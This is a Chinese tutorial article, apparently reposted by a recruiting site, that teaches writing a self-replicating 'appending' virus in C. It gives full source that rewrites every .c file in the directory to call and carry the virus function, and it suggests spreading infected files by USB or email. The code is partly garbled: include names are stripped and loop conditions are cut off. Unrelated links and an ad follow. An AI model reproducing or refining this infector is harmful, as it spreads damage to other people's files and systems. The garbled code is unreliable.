原标题:募才网教你用C语言写个小病毒~

对于电脑病毒,我们都深恶痛绝。俗话说“知己知彼,方能百战百胜”。为了避免病毒的伤害,我们必须要研究一下病毒是怎么来的。

病毒的特点:

病毒的最大特点就是自我复制,从病毒的分类来说有很多种,这里我们将介绍最流行的附加式

病毒,它通过对正常的文件进行改写,增加来实现其自我复制的目的。

从程序的角度来说,我们要做的事情有两件:

1,让程序能够将自己在不影响其它程序本身工作的情况下复制给其它程序,

使它具备继续复制的能力。

2,在一定条件下使其产生某种发作效果。

其实第一件事情实际上可以看成对文件进行复制,把病毒源文件的功能函数全部放到被感染

文件的最后,同时在被感染文件中调用这个函数

下面给出c语言的实现过程:

1,主程序调用病毒功能函数

2,病毒功能函数读取查找同目录下所有c文件;

3,找到一个(被感染c文件),打开它,并且将此文件全部读取到数组变量;

4,重新创建一个同名文件(被感染c文件)

5,数组变量写回这个被感染c文件,同时将病毒源文件所需要的头文件,病毒功能函数

调用语句写入;

6,打开病毒源文件,将病毒功能函数全部写到被感染c文件的最后;

这样一个简单的c语言伪病毒virus.c就完成了

运行程序后其内容变化另保存为after_virus.c

此时,如果我们将1.c文件用U盘复制到其他机器或者Email给别人,结果

他们一运行又感染了他们保存1.c文件目录下所有c文件

对于第二件事情-------“发作效果”,这里只用printf语句警告了一下,当然你

完全可以写一个TSR驻留函数

其实,这个程序勉强可以叫做病毒

根本不算是真正的病毒,好了就说这么多

大家有对编程的职位感兴趣的可以关注募才网http://www.mucaipin.com/或募才网微信号mucaipin

代码如下:

#include

#include

void main(void)

{

virus();

}

int virus()

{

struct ffblk ffblk;

FILE *in,*out,*read;

char *virus="virus.c";

char buf[50][80];

char *p;

char *end="return";

char *bracket="}";

char *main="main";

char *include[2]={"stdio.h","dir.h"};

char *int_virus="int virus()";

char *buffer;

int done,i,j=0,flag=0;

printf("\nI have a virus. Writen by PuBin\n");

done = findfirst("*.c",&ffblk,0);

while (!done)

{

i=0;

if ((in = fopen(ffblk.ff_name, "rt"))== NULL)

{

goto next;

}

do{

if(i>=50)

{

fclose(in);

goto next;

}

p=fgets(buf[i],80,in);

i++;

}while(p!=NULL);

fclose(in);

out=fopen(ffblk.ff_name,"w+t");

fputs("#include\n",out);

fputs("#include

\n",out);

do

{

if(strstr(buf[j],main)!=NULL)

{

for(;j

if(strstr(buf[j],end)==NULL&&strstr(buf[j],bracket)==NULL)

fputs(buf[j],out);

else

{

if(flag==0)

{

flag=1;

fputs("virus();\n",out);

}

fputs(buf[j],out);

}

}

else if((strstr(buf[j],include[0])==NULL)

&&(strstr(buf[j],include[1])==NULL))

{

fputs(buf[j],out);

j++;

}

else

j++;

}while(j

read=fopen(virus,"rt");

do

{

p=fgets(buffer,80,read);

if(strstr(buffer,int_virus))

while(p!=NULL)

{

if(strstr(buffer,virus)==NULL)

fputs(buffer,out);

else

{

fputs(" char *virus=\"",out);

fputs(ffblk.ff_name,out);

fputs("\";\n",out);

}

p=fgets(buffer,80,read);

}

}while(p!=NULL);

fclose(read);

fclose(out);

printf("\nYour c program %s has a virus. Writen by PuBin\n",ffblk.ff_name);

next: done = findnext(&ffblk);

}

return 0;

}

立足高校IT专业大学生,以众多优质企业资源为依托,为求职者提供网络求职、人才评测、职场资讯、职业规划、职位推荐等;为企业提供精准招聘、岗位评估、人才评测、校园招聘、轻猎头、专场招聘等。为IT人才找工作提供最精准的招聘信息,企业IT人才招聘信息发布平台,中国领先的IT人才招聘网。返回搜狐,查看更多

责任编辑:

怎么用c语言编程一个小病毒,募才网教你用C语言写个小病毒~相关推荐

  1. c++语言编程,一个电灯两个开关控制,[理学]四川大学计算机学院精品课程_面向对象程序设计C++课件_游洪越_第一章绪论.ppt...

    [理学]四川大学计算机学院精品课程_面向对象程序设计C课件_游洪越_第一章绪论 主讲教师: 游洪跃 个人主页: /~youhongyue 邮件地址: youhongyao@ 教材:<C++面向对 ...

  2. c语言编程知识分享uc头条,资深程序员分享的C语言编程中的一些误用及知识总结...

    我们是不是在写程序的时候错误很多,就算编译通过了也达不到我们预期的结果.之后自己还找不到错在哪儿.我觉得语言之所以能称之为语言,首先它肯定是一种工具.一种相互交流.相互通信.相互传达之间意图的工具.作 ...

  3. c语言把一个字符从指定文件中读取的函数,C语言中对文件最基本的读取和写入函数...

    C语言中对文件最基本的读取和写入函数 C语言read()函数:读文件函数(由已打开的文件读取数据)头文件: #include 定义函数: ssize_t read(int fd, void * buf ...

  4. 计算开机时间c语言编程,一个计算电脑开机时间长短的程序,还有点小问题,请VC99大哥来指教...

    该楼层疑似违规已被系统折叠 隐藏此楼查看此楼 小弟我花了很长时间写了这个程序,目的是可以计算机电脑一个月的开机时间,比如说第一次开机3个小时,下一次开机还可以在3小时的基础上接着计时,这个程序,现在可 ...

  5. 一些简单有趣的c语言编程,一个有趣的小程序

    该楼层疑似违规已被系统折叠 隐藏此楼查看此楼 源码: #include #include #include #include #include HINSTANCE g_hInstance = 0; L ...

  6. c语言编程一个象棋游戏,急求:C语言编写的中国象棋游戏一个

    急求:C语言编写的中国象棋游戏一个 來源:互聯網  2009-09-08 12:30:35  評論 分類: 電腦/網絡 >> 程序設計 >> 其他編程語言 問題描述: 由于学习 ...

  7. c语言编程一个乘法scanf,几道简单的c语言编程题

    几道基础C语言题 1.递归求阶乘 分析:n!=1*2*...*n 那么我们有两种方法 递归 思路:根据阶乘的规律n!=n*(n-1)! 定义函数f(x),使函数返回x*f(x-1)的值,直到n=1.经 ...

  8. 九九乘法表python语言编程软件_编写Python程序,输出如下的九九乘法表_学小易找答案...

    [其它]写出下图的梯形图程序对应的语句表 (26.0分) [简答题]PLC一般的编程语言有几种?分别是什么? (5.0分) [其它]定义一个getMax函数,返回三个数(从键盘输入的整数)中的最大值. ...

  9. c语言编程一个 图书管理,我也要用c语言编程一个图书管理系统,

    #includeusing namespace std; const int N = 25;//定义20本图书 struct Book { char name[25]; char author[15] ...

  10. 自助旅游系统c语言编程,一个简单的导游程序

    该程序在TC3.0环境下编译通过,共有5个函数.分别是Introduce,shortestdistance,floyed,display及main. 其功能分别是: Introduce:地点介绍函数. ...

最新文章

  1. 【数据安全案例】北京破获贩卖个人信息案 涉及上千万条公民信息
  2. 深度学习核心技术精讲100篇(五十五)- 基于OpenCV实现棋盘图像识别
  3. extern 用法,全局变量与头文件(重复定义)
  4. 扼杀 304,Cache-Control: immutable
  5. Docker 方式安装 Nexus 私服
  6. 大数据数据收集数据困难_大数据就是好数据吗?研究人员在处理大数据集时遭遇的 5 大挑战...
  7. 迁徙图_虾米音乐上的原住民会迁徙去哪呢?
  8. 程序开发,面试恐惧症_如何克服恐惧并停止讨厌的工作面试
  9. 学习jQuery.Deferred
  10. Python基础--02
  11. Kinect初识 整理总结
  12. 使用快捷指令和carplay发送停车位置(高德地图)
  13. iOS开发 关于YY_Model中,modelContainerPropertyGenericClass解析数组出现崩溃问题
  14. 盘点8个高效方法提高睾酮水平
  15. 让行内元素转化为块元素的三种方法与特点详解
  16. 制作docker容器镜像
  17. 服务器迁移需要备份哪些文件?
  18. 上位机开发流程-小白开始
  19. 数据仓库、主题域、主题概念与定义
  20. 黑群晖NAS (ARPL引导)安装教程

热门文章

  1. python编程语言在线编译手机_groovy在线运行,groovy在线编译,支持手机在线编程写代码 - Groovy教程...
  2. pytorch中的学习率调整函数
  3. java插桩-javaassist
  4. 关于空间域到频率域的转换
  5. java基础代码详解
  6. easyui combobox筛选(拼音)
  7. 基于ConfuserEx的混淆加壳
  8. 2018年 数据挖掘“泰迪杯” C题 第二问
  9. BP算法(神经网络基础+BP算法推导+BP算法举例+java代码实现+Python代码实现+局限性)
  10. RobotStudio软件:ABB机器人弧焊焊接起始点接触寻位虚拟仿真方法